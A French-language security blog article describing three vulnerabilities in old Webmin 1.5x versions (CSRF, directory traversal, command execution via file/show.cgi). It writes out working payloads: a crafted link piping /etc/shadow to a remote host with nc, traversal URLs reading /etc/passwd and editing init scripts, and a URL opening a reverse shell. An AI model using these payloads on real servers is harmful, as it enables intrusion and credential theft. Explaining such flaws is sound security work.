Webmin ou Web Mine ?

webmin_logolightning-1Claymore2

wiki_logo_miniWebmin est une interface web, sous licence BSD, qui permet d’administrer un serveur UNIX ou Linux à distance via n’importe quel navigateur web.

Cette surcouche d’administration simplifie les tâches courantes et la gestion des applications communes telles que PostFix, Apache Server ou Squid.

Si l’on choisit d’utiliser une telle interface, il faut garder à l’esprit que la surface d’attaque du système augmentera alors considérablement. Il serait donc judicieux d’établir une stratégie de sécurité poussée : cryptage des flux d’administration, limitation des droits, filtrage d’adresses, authentification robuste (à défaut d’être forte), mise à jour régulière de l’application et j’en passe…

planche_2
Cet article est consacré à trois vulnérabilités présentes dans la version 1.570 de Webmin : OSVDB-85495, OSVDB-85248, OSVDB-85247

skull OSVDB-85495

Cette vulnérabilité a été découverte sur la Webmin 1.590. Elle permet une attaque de type Cross-site Request Forgery (CSRF/XSRF). Ce genre d’attaque nécessite l’intervention de l’utilisateur : accès à une page web, réception d’un mail, etc… Elle consiste à forcer un utilisateur légitime à exécuter une action à son insu en bénéficiant de sa session active Webmin.  Ce genre d’attaque est facilitée lorsque le HTTP Referer n’est pas contrôlé (cette variable du HTTP Header indique la page d’où émane le lien qui a permis l’envoi de la requête HTTP).

Cette faille CSRF est aggravée par une liberté trop importante donnée au CGI impliqué.  Le module file/show.cgi a pour vocation la lecture de fichiers contenus sur le serveur administré. Cependant, il permet également l’exécution de programmes ou de scripts.

Par exemple en cliquant sur le lien ci-dessous, un utilisateur possédant une session active,  permettrait l’éxécution de la commande cat /etc/shadow|nc 192.168.1.237 1515 qui transfererait le contenu du fichier contenant les mots de passe unix vers un serveur distant (1.2.3.4) en écoute sur le port 1515.

<a href="https://www.target.com:10000/webmin/file/show.cgi/bin/cat%20/etc/shadow|nc%201.2.3.4%201515|echo|"> <img src= "click_me.png"></img>

skull OSVDB-85247

Cette vulnérabilité découverte dans Webmin 1.580 résulte d’une faiblesse d’un outil du File Manager de Webmin : file/edit_html.cgi. Il existe plusieurs moyens de limiter l’accès aux fichiers du système pour un utilisateur Webmin. L’un d’entre eux est le confinement, en définissant comme racine de l’arborescence pour l’utilisateur, un point quelconque du système de fichiers (chroot). edit_html.cgi, permet de bypasser cette restriction par Directory Traversal Attack (grâce à l’utilisation de la chaîne de caractère ../..). Il devient donc possible d’accéder à n’importe quel fichier du système voir de l’éditer, pour insérer par exemple une backdoor dans un script exécuté au démarrage de la machine.

http://www.target-server.com:10000/webmin/file/edit_html.cgi?file=../../../../../../etc/passwd&text=1
http://www.target-server.com:10000/webmin/edit_html.cgi?file=../../../../../../etc/init.d/network&text=1

 skullOSVDB-85248

Cette vulnérabilité découverte dans Webmin 1.580 exploite une nouvelle fois la faiblesse de l’outil file/show.cgi. Un utilisateur authentifié avec des droits restreints pourrait utiliser le même procédé pour accèder au shell du serveur. La commande permettant un reverse shell nc 1.2.3.4 1515 -e /bin/bash se traduirait alors par :

https://www.target-server.com:10000/webmin/file/show.cgi/bin/nc%201.2.3.4%201515%20-e%20/bin/bash|

Il suffirait ensuite au pirate de trouver un script lui permettant de passer root grâce à une vulnérabilité locale propre à la version du système (Privilege Escaltion) pour prendre le contrôle total du serveur.